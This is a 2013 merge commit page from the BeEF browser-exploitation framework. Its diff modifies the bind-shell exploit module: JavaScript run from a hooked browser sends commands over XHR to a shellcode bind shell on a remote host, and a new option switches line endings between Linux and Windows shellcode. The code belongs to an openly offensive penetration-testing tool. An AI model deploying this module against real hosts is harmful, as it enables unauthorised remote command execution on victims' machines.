Merge pull request #916 from bmantra/master

added option to use only LF in the bind shell module for use with Linux
beefproject · Jun 28, 2013 · 8cf17b0 · 8cf17b0
2 parents 6c6a33d + 164ff5b
commit 8cf17b0
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diff --git a/modules/exploits/beefbind/beef_bind_shell/command.js b/modules/exploits/beefbind/beef_bind_shell/command.js
@@ -9,6 +9,7 @@ beef.execute(function () {
     var rport = '<%= @rport %>';
     var path = '<%= @path %>';
     var cmd = '<%= @cmd %>';
+    var shellcode ='<%= @shellcode %>';
 
     var uri = "http://" + rhost + ":" + rport + path;
 
@@ -73,7 +74,11 @@ beef.execute(function () {
         };
         xhr.open("POST", uri, false);
         xhr.setRequestHeader("Content-Type", "text/plain");
-        command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
+	if (shellcode == 'Linux'){
+            command = "cmd=" + command + "\n"; // very important only LF
+        }else{
+            command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
+        }
         xhr.send(command);
         setTimeout("get_additional_cmd_results()",500);
     };

diff --git a/modules/exploits/beefbind/beef_bind_shell/module.rb b/modules/exploits/beefbind/beef_bind_shell/module.rb
@@ -10,7 +10,11 @@ def self.options
       { 'name' => 'rhost', 'ui_label' => 'Host', 'value' => '127.0.0.1'},
       { 'name' => 'rport', 'ui_label' => 'BeEF Bind Port', 'value' => '4444'},
       { 'name' => 'path', 'ui_label' => 'Path', 'value' => '/'},
-      { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'}
+      { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'},
+      { 'name' => 'shellcode', 'type' => 'combobox', 'ui_label' => 'BeEF Bind Shellcode', 'store_type' => 'arraystore',
+          'store_fields' => ['shellcode'], 'store_data' => [['Windows'],['Linux']],
+          'valueField' => 'shellcode', 'displayField' => 'shellcode', 'mode' => 'local', 'autoWidth' => true
+        }
 		]
 	end